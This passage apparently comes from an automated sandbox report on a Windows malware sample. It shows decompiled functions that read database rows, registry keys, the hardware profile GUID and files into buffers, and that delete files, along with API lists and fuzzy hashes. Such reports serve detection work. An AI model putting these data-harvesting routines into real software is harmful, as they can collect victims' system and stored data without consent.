					_t40 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v280 = _t40;
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081dc
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 290ba4ca4305ba91cbd10b7fe59d6784cbbb75d076a5e41c729a90a8f09e5b54
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 290ba4ca4305ba91cbd10b7fe59d6784cbbb75d076a5e41c729a90a8f09e5b54
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				long _t39;
				long _t42;
				long _t45;
				long _t51;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *(_t81 - 0x814) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					_t39 = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0); // executed
					 *(_t81 - 0x814) = _t39;
					if( *(_t81 - 0x814) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0xa122c8
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						_t42 = RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c); // executed
						if(_t42 == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0xa18c68
							_t45 = RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818); // executed
							if(_t45 == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0xa18d58
									_t51 = RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818); // executed
									if(_t51 == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3e7
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b43d
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b492
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4ef
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.KERNEL32(00000000,00A18C68,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.KERNEL32(00000000,00A18D58,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s
API String ID: 199769609-4073750446
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 10.5, APIs: 7, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				int _t10;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41a6a4; // 0xa16820
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0xa165a0
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0xa16460
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0xa16578
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0xa14b58
				DeleteFileA(_t12);
				_t14 =  *0x41a4a8; // 0xa16690
				DeleteFileA(_t14);
				_t9 =  *0x41a700; // 0xa16910
				_t10 = DeleteFileA(_t9); // executed
				return _t10;
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e22
0x00405e29
0x00405e2f
0x00405e35
0x00405e3c

APIs

DeleteFileA.KERNEL32(00A16820,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(00A165A0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(00A16460,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(00A16578,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(00A14B58,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(00A16690,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(00A16910,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				void* _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t35;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0xa18518
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8); // executed
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0xa18678
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0); // executed
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_t35 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f); // executed
					_v284 = _t35;
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x00408596
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 92db46569db86317186caa05b7547d2f1a26bfffc278d4dec6d5c31734ebf9bd
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: 92db46569db86317186caa05b7547d2f1a26bfffc278d4dec6d5c31734ebf9bd
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;
				void* _t30;
				void* _t36;
				int _t39;

				_v8 = 0;
				_v16 = 0;
				_t30 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0); // executed
				_v16 = _t30;
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						_t36 = LocalAlloc(0x40,  *_a12); // executed
						 *_a8 = _t36;
						if( *_a8 != 0) {
							_t39 = ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0); // executed
							if(_t39 == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					FindCloseChangeNotification(_v16); // executed
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073a7
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073ec
0x004073f5
0x004073fd
0x00407415
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
FindCloseChangeNotification.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID:
API String ID: 1815715184-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				void* _t89;
				intOrPtr _t90;
				void* _t92;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *(_v24 + 0x20) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									_t89 = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0); // executed
									 *(_v24 + 0xc) = _t89;
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										_t92 = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20); // executed
										 *(_v24 + 0x20) = _t92;
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *(_v24 + 0x20) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411c9f
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411ccf
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B240() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a610; // 0xa167a8
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41a1f4; // 0xa18c80
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b246
0x0040b261
0x0040b26f
0x0040b27b
0x0040b283
0x0040b291
0x0040b29c
0x0040b29c
0x0040b2a6
0x0040b2b2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
RegOpenKeyExA.KERNEL32(80000002,00A167A8,00000000,00020119,?), ref: 0040B27B
RegQueryValueExA.KERNEL32(?,00A18C80,00000000,00000000,?,000000FF), ref: 0040B29C
RegCloseKey.ADVAPI32(?), ref: 0040B2A6

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction ID: 923f0571c0864a17576b372675103fc2b24e7fdb5a8175b3b8f490f686ce64a9
Opcode Fuzzy Hash: fe3fb2fc6423d3235b7c17287a7d26e133f0254a975ab95cd6796d579850b6b3
Instruction Fuzzy Hash: 70013CB5A41208BBDB00DBE0DD49FEEB7B8EB48700F0085A8FA05A7291D6745A508B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B090, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B090() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a3f4; // 0xa126b0
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41a4dc; // 0xa18d28
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040b096
0x0040b0b1
0x0040b0bf
0x0040b0cb
0x0040b0d3
0x0040b0e1
0x0040b0ec
0x0040b0ec
0x0040b0f6
0x0040b102

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
RegOpenKeyExA.KERNEL32(80000002,00A126B0,00000000,00020119,?), ref: 0040B0CB
RegQueryValueExA.KERNEL32(?,00A18D28,00000000,00000000,?,000000FF), ref: 0040B0EC
RegCloseKey.ADVAPI32(?), ref: 0040B0F6

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: f8a54f85ee1b8cfc6e3047c75a8daca849fb19f3d1c37cdae7566096d66fd71d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 4C014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F00C568FA05A7291D6745A50CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF80, Relevance: 7.5, APIs: 5, Instructions: 38
registrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AF80() {
				void* _v8;
				int _v12;
				void* _v16;
				long _t12;
				char* _t18;
				char* _t19;

				_v12 = 0xff;
				_v16 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 =  *0x41a1a0; // 0xa12678
				_t12 = RegOpenKeyExA(0x80000002, _t18, 0, 0x20119,  &_v8); // executed
				if(_t12 == 0) {
					_t19 =  *0x41a5e4; // 0xa18058
					RegQueryValueExA(_v8, _t19, 0, 0, _v16,  &_v12); // executed
				}
				RegCloseKey(_v8);
				return _v16;
			}

0x0040af86
0x0040afa1
0x0040afaf
0x0040afbb
0x0040afc3
0x0040afd1
0x0040afdc
0x0040afdc
0x0040afe6
0x0040aff2

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
RegOpenKeyExA.KERNEL32(80000002,00A12678,00000000,00020119,?), ref: 0040AFBB
RegQueryValueExA.KERNEL32(?,00A18058,00000000,00000000,?,000000FF), ref: 0040AFDC
RegCloseKey.ADVAPI32(?), ref: 0040AFE6

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction ID: 3560b0945dc9351a47cb67e23b673332a76d6e647168765e51ac926b13a32b36
Opcode Fuzzy Hash: 14f82c3a1c4a03ad05b10c880fed87cc913976545a251b3981974c41da736b85
Instruction Fuzzy Hash: 19014FB5A41208BFEB00DBE0DD49FEEB7BCEB48700F108569FA05A7291D6745A60CB56

Uniqueness

Uniqueness Score: -1.00%

Function 0040B2C0, Relevance: 7.5, APIs: 5, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B2C0() {
				struct tagHW_PROFILE_INFOA _v132;
				void* _v136;
				int _t8;

				_t8 = GetCurrentHwProfileA( &_v132); // executed
				if(_t8 == 0) {
					return 0x4191a0;
				}
				_v136 = RtlAllocateHeap(GetProcessHeap(), 0, 0x64);
				memset(_v136, 0, 4);
				 *0x41aa24(_v136,  &(_v132.szHwProfileGuid));
				return _v136;
			}

0x0040b2cd
0x0040b2d5
0x00000000
0x0040b31a
0x0040b2e8
0x0040b2f9
0x0040b30a
0x00000000

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
memset.NTDLL ref: 0040B2F9
lstrcat.KERNEL32(?,?), ref: 0040B30A

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateCurrentProcessProfilelstrcatmemset
String ID:
API String ID: 4122951905-0
Opcode ID: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction ID: 53f97c33c887665c50d9d4951fdbbfd19b7c782c8dc218844e441fa5d8454051
Opcode Fuzzy Hash: 715a3ee425a4e0458906170b038f95fce73c32c5e13b901f43c8444701ff9b20
Instruction Fuzzy Hash: 8FF05470A012099BDB20ABA4DD09B9977BCFB44701F008565FB45D7281DB359951CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t38;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0xa19c78
				wsprintfA( &_v596, _t37,  &_v332);
